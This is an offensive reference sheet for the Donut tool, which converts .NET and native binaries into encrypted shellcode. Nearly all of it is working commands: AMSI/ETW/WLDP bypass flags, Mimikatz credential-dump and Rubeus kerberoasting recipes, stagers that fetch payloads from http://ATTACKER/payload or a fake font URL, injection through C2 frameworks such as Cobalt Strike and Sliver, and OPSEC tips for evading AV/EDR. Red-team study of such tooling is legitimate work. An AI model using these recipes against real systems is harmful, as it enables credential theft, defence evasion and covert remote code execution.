DONUT
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
Donut generates position-independent shellcode from .NET assemblies, PE files, VBScript, JScript, and XSL files. Essential for payload staging, process injection, and in-memory execution.
INSTALLATION#
# From GitHub releases # https://github.com/TheWover/donut/releases # Build from source (Linux) git clone https://github.com/TheWover/donut cd donut && make # Build from source (Windows) git clone https://github.com/TheWover/donut cd donut nmake -f Makefile.msvc # Python module pip install donut-shellcode
SUPPORTED INPUT FORMATS#
Format Extension Notes ------ --------- ----- .NET EXE .exe Requires CLR; specify class/method or entry point .NET DLL .dll Must specify class and method Native EXE .exe Unmanaged PE Native DLL .dll Specify function name or DllMain VBScript .vbs Windows Script Host JScript .js Windows Script Host XSL .xsl XSLT with embedded scripts
BASIC USAGE#
# .NET assembly to shellcode donut -f payload.exe -o shellcode.bin # .NET DLL with class and method donut -f payload.dll -c MyNamespace.MyClass -m Execute -o shellcode.bin # .NET assembly with arguments donut -f Rubeus.exe -p "kerberoast /nowrap" -o rubeus_sc.bin # Native PE to shellcode donut -f mimikatz.exe -o mimi_sc.bin # VBScript to shellcode donut -f payload.vbs -o shellcode.bin # JScript to shellcode donut -f payload.js -o shellcode.bin
ARCHITECTURE OPTIONS#
donut -f payload.exe -a 1 -o sc.bin # x86 donut -f payload.exe -a 2 -o sc.bin # amd64 donut -f payload.exe -a 3 -o sc.bin # x86+amd64 (dual-mode) # Default: auto-detect from input file
BYPASS OPTIONS#
# AMSI/WLDP/ETW bypass donut -f payload.exe -b 1 -o sc.bin # None (no bypass) donut -f payload.exe -b 2 -o sc.bin # Abort on fail donut -f payload.exe -b 3 -o sc.bin # Continue on fail (default) # Bypass techniques applied: # AMSI: Patches AmsiScanBuffer to return clean result # WLDP: Patches WldpQueryDynamicCodeTrust # ETW: Patches EtwEventWrite to disable tracing
ENTROPY & ENCRYPTION#
# Entropy level (anti-detection) donut -f payload.exe -e 1 -o sc.bin # No encryption donut -f payload.exe -e 2 -o sc.bin # Random names only donut -f payload.exe -e 3 -o sc.bin # Random names + encryption (default) # Encryption uses Chaskey block cipher for module data # Decryption key is embedded in the shellcode loader
COMPRESSION#
# Compress payload before encryption donut -f payload.exe -z 1 -o sc.bin # No compression donut -f payload.exe -z 2 -o sc.bin # aPLib compression (default) donut -f payload.exe -z 3 -o sc.bin # LZNT1 (RtlCompressBuffer) donut -f payload.exe -z 4 -o sc.bin # Xpress donut -f payload.exe -z 5 -o sc.bin # Xpress Huffman # Compression reduces shellcode size significantly # Useful for size-constrained injection scenarios
OUTPUT OPTIONS#
# Output format donut -f payload.exe -o shellcode.bin # Raw binary (default) donut -f payload.exe -o shellcode.b64 # Base64 donut -f payload.exe -o shellcode.rb # Ruby array donut -f payload.exe -o shellcode.py # Python array donut -f payload.exe -o shellcode.ps1 # PowerShell byte array donut -f payload.exe -o shellcode.cs # C# byte array donut -f payload.exe -o shellcode.c # C array donut -f payload.exe -o shellcode.hex # Hex string # Format flag donut -f payload.exe -y 1 -o sc.bin # Binary donut -f payload.exe -y 2 -o sc.b64 # Base64 donut -f payload.exe -y 3 -o sc.cs # C donut -f payload.exe -y 4 -o sc.rb # Ruby donut -f payload.exe -y 5 -o sc.py # Python donut -f payload.exe -y 6 -o sc.ps1 # PowerShell donut -f payload.exe -y 7 -o sc.cs # C# donut -f payload.exe -y 8 -o sc.hex # Hex
EXECUTION OPTIONS#
# Thread execution (how shellcode runs in target) donut -f payload.exe -t -o sc.bin # Run as new thread donut -f payload.exe -o sc.bin # Run in current thread (default) # Exit options donut -f payload.exe -x 1 -o sc.bin # Exit thread on completion donut -f payload.exe -x 2 -o sc.bin # Exit process on completion donut -f payload.exe -x 3 -o sc.bin # Do not exit (block) # .NET runtime version donut -f payload.exe -r v4.0.30319 -o sc.bin # Specify CLR version # AppDomain name donut -f payload.exe -d MyDomain -o sc.bin
STAGING (HTTP/DNS)#
# Stage payload from URL instead of embedding donut -f payload.exe -u http://ATTACKER/payload -o stager.bin # The shellcode downloads and decrypts the module at runtime # Reduces initial shellcode size # Payload is encrypted; URL just serves encrypted blob # Generate staged payload donut -f Rubeus.exe -p "kerberoast" -u http://10.10.14.1/stage -o stager.bin # Host the encrypted module on your server # Donut creates both the stager and the module file
PYTHON MODULE#
import donut
# Basic conversion
shellcode = donut.create(file="payload.exe")
# With options
shellcode = donut.create(
file="Rubeus.exe",
params="kerberoast /nowrap",
arch=2, # amd64
bypass=3, # Continue on bypass fail
entropy=3, # Full encryption
compress=2, # aPLib compression
format=1, # Raw binary
exit_opt=1 # Exit thread
)
# Write to file
with open("shellcode.bin", "wb") as f:
f.write(shellcode)
COMMON RECIPES#
# Rubeus kerberoasting donut -f Rubeus.exe -p "kerberoast /nowrap" -a 2 -o rubeus_sc.bin # Mimikatz credential dump donut -f mimikatz.exe -p "sekurlsa::logonpasswords exit" -a 2 -o mimi_sc.bin # Seatbelt enumeration donut -f Seatbelt.exe -p "-group=all -full" -a 2 -o seatbelt_sc.bin # SharpHound collection donut -f SharpHound.exe -p "-c All" -a 2 -o sharphound_sc.bin # Custom .NET tool donut -f MyTool.dll -c Namespace.Class -m Method -a 2 -o tool_sc.bin # Staged delivery donut -f payload.exe -u https://cdn.legit.com/font.woff -a 2 -o stager.bin
INTEGRATION WITH C2 FRAMEWORKS#
# Cobalt Strike - inject Donut shellcode
beacon> shinject PID x64 /path/to/shellcode.bin
# Sliver - execute shellcode
sliver (IMPLANT)> execute-shellcode /path/to/shellcode.bin
sliver (IMPLANT)> execute-shellcode -p PID /path/to/shellcode.bin
# Havoc - inject shellcode
demon> shellcode inject x64 PID /path/to/shellcode.bin
demon> shellcode spawn x64 /path/to/shellcode.bin
# Custom injector (C#)
byte[] sc = File.ReadAllBytes("shellcode.bin");
// Use VirtualAllocEx + WriteProcessMemory + CreateRemoteThread
// Or use syscalls for evasion
ALL FLAGS REFERENCE#
Flag Description Default ---- ----------- ------- -f Input file path (required) -o Output file path payload.bin -a Architecture (1=x86, 2=x64, 3=both) Auto-detect -b Bypass (1=none, 2=abort, 3=continue) 3 -e Entropy (1=none, 2=random, 3=full) 3 -z Compression (1=none, 2=aPLib) 2 -y Output format (1-8) 1 (binary) -x Exit opt (1=thread, 2=process, 3=block) 1 -t Create new thread false -c .NET class name (auto for EXE) -m .NET method name (auto for EXE) -p Parameters / arguments none -d AppDomain name random -r CLR runtime version auto -u Staging URL none (embedded) -s Server module path for staging none -n Module name (for entropy=2) random
OPSEC CONSIDERATIONS#
- Use entropy level 3 for encrypted shellcode (default) - Enable compression to reduce size and change signatures - AMSI/WLDP/ETW bypass helps but may trigger heuristics - Staged delivery keeps initial payload small - The CLR loading itself is detectable (clr.dll, mscorjit.dll) - .NET assembly loading generates ETW events even with bypass - Combine with custom injectors using direct/indirect syscalls - Each Donut generation produces unique encrypted shellcode - Avoid writing shellcode to disk on target - Test against target's AV/EDR in a lab environment